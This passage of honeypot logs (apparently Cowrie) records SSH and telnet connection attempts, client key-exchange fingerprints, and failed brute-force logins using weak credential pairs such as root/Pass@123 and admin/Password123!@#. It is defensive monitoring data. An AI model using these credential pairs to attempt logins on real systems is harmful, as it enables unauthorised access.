","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:23.701066Z","src_ip":"192.109.200.78","session":"4f80e302176e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.139.59.224","src_port":48406,"dst_ip":"159.203.135.109","dst_port":23,"session":"6722227deac3","protocol":"telnet","message":"New connection: 103.139.59.224:48406 (159.203.135.109:23) [session: 6722227deac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:23.800519Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:23.949544Z","src_ip":"192.109.200.78","session":"4f80e302176e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.609713554382324,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:24.366745Z","src_ip":"103.176.85.233","session":"e6be85a117ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52088,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9f38d97c846","protocol":"ssh","message":"New connection: 159.203.92.129:52088 (159.203.135.109:22) [session: b9f38d97c846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:24.827236Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.139.59.224","src_port":48436,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb625e699194","protocol":"telnet","message":"New connection: 103.139.59.224:48436 (159.203.135.109:23) [session: eb625e699194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:24.831758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:24.837685Z","src_ip":"159.203.92.129","session":"b9f38d97c846","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:24.852346Z","src_ip":"159.203.92.129","session":"b9f38d97c846","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Password123!@#","message":"login attempt [admin/Password123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:24.872747Z","src_ip":"159.203.92.129","session":"b9f38d97c846","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:25.035626Z","src_ip":"192.109.200.78","session":"4f80e302176e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.492871522903442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:25.250282Z","src_ip":"103.176.85.233","session":"02fd22dfc212","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":52566,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb4d05943002","protocol":"telnet","message":"New connection: 103.176.85.233:52566 (159.203.135.109:23) [session: cb4d05943002]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:25.561459Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:25.879015Z","src_ip":"159.203.92.129","session":"b9f38d97c846","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.625296592712402,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:26.141220Z","src_ip":"103.176.85.233","session":"714b2acb61c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.83.83.168","src_port":43300,"dst_ip":"159.203.135.109","dst_port":23,"session":"4814cf3ae6e0","protocol":"telnet","message":"New connection: 172.83.83.168:43300 (159.203.135.109:23) [session: 4814cf3ae6e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:26.197778Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.139.59.224","src_port":48572,"dst_ip":"159.203.135.109","dst_port":23,"session":"335ace16db6e","protocol":"telnet","message":"New connection: 103.139.59.224:48572 (159.203.135.109:23) [session: 335ace16db6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:26.798559Z"}
{"eventid":"cowrie.session.closed","duration":30.79689049720764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:27.577343Z","src_ip":"172.104.129.70","session":"c970cf7da4ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.881536722183228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:27.657366Z","src_ip":"185.216.203.48","session":"5ea57f430d4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44102,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6a3df9a699b","protocol":"ssh","message":"New connection: 192.109.200.78:44102 (10.17.0.5:22) [session: a6a3df9a699b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:27.883275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:27.888626Z","src_ip":"192.109.200.78","session":"a6a3df9a699b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:27.972939Z","src_ip":"192.109.200.78","session":"a6a3df9a699b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.640872716903687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:28.149408Z","src_ip":"103.176.85.233","session":"21a4df3336de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09339690208435,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:28.201665Z","src_ip":"69.60.120.238","session":"45b51d2688d7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:28.219244Z","src_ip":"192.109.200.78","session":"a6a3df9a699b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.130643844604492,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:29.145783Z","src_ip":"137.184.59.230","session":"72c99fb69126","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.139.59.224","src_port":48662,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4c8972aaf35","protocol":"telnet","message":"New connection: 103.139.59.224:48662 (159.203.135.109:23) [session: e4c8972aaf35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:29.227688Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:29.307316Z","src_ip":"192.109.200.78","session":"a6a3df9a699b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.703176736831665,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:29.701923Z","src_ip":"66.113.160.81","session":"fb9b6e8837c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.925532817840576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:29.708561Z","src_ip":"66.113.160.81","session":"841ff139e432","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86014413833618,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:31.071700Z","src_ip":"31.186.175.50","session":"31026606c214","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":39596,"dst_ip":"159.203.135.109","dst_port":23,"session":"2156e8419f57","protocol":"telnet","message":"New connection: 103.176.85.233:39596 (159.203.135.109:23) [session: 2156e8419f57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:31.564577Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":31196,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b243c1a1d77","protocol":"ssh","message":"New connection: 194.59.206.2:31196 (159.203.135.109:22) [session: 3b243c1a1d77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:31.615181Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":39608,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8b7c83d120c","protocol":"telnet","message":"New connection: 103.176.85.233:39608 (159.203.135.109:23) [session: f8b7c83d120c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:31.917447Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58852,"dst_ip":"10.17.0.5","dst_port":22,"session":"f439ddc7ec40","protocol":"ssh","message":"New connection: 192.109.200.78:58852 (10.17.0.5:22) [session: f439ddc7ec40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:32.022840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:32.028098Z","src_ip":"192.109.200.78","session":"f439ddc7ec40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:32.114884Z","src_ip":"192.109.200.78","session":"f439ddc7ec40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.569106578826904,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:32.144953Z","src_ip":"103.176.85.233","session":"848b778aa2b2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"super","password":"super","message":"login attempt [super/super] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:32.657504Z","src_ip":"192.109.200.78","session":"f439ddc7ec40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.292717695236206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:33.155059Z","src_ip":"69.60.120.238","session":"79c42c28622c","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:33.281054Z","src_ip":"194.59.206.2","session":"3b243c1a1d77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:33.285884Z","src_ip":"194.59.206.2","session":"3b243c1a1d77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.770850896835327,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:33.536284Z","src_ip":"103.176.85.233","session":"4cd5c6c34492","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:33.742879Z","src_ip":"192.109.200.78","session":"f439ddc7ec40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.654555320739746,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:35.273953Z","src_ip":"103.176.85.233","session":"6595d39abcb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:35.499572Z","src_ip":"194.59.206.2","session":"3b243c1a1d77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58862,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe7b2e669bfd","protocol":"ssh","message":"New connection: 192.109.200.78:58862 (10.17.0.5:22) [session: fe7b2e669bfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:36.275066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:36.282446Z","src_ip":"192.109.200.78","session":"fe7b2e669bfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:36.364494Z","src_ip":"192.109.200.78","session":"fe7b2e669bfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:36.612454Z","src_ip":"192.109.200.78","session":"fe7b2e669bfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":41690,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8a11563af04","protocol":"telnet","message":"New connection: 34.125.158.14:41690 (159.203.135.109:23) [session: b8a11563af04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:36.702567Z"}
{"eventid":"cowrie.session.closed","duration":31.314414978027344,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:37.065531Z","src_ip":"103.176.85.233","session":"1d2be31723bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74182677268982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:37.284052Z","src_ip":"103.176.85.233","session":"315a52bb7d7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:38.001441Z","src_ip":"192.109.200.78","session":"fe7b2e669bfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.60.120.238","src_port":39714,"dst_ip":"159.203.135.109","dst_port":23,"session":"efee9fef5eea","protocol":"telnet","message":"New connection: 69.60.120.238:39714 (159.203.135.109:23) [session: efee9fef5eea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:38.142131Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42680,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0128d8c83f8","protocol":"ssh","message":"New connection: 192.109.200.78:42680 (10.17.0.5:22) [session: d0128d8c83f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:40.384726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:40.389122Z","src_ip":"192.109.200.78","session":"d0128d8c83f8","protocol":"ssh"}
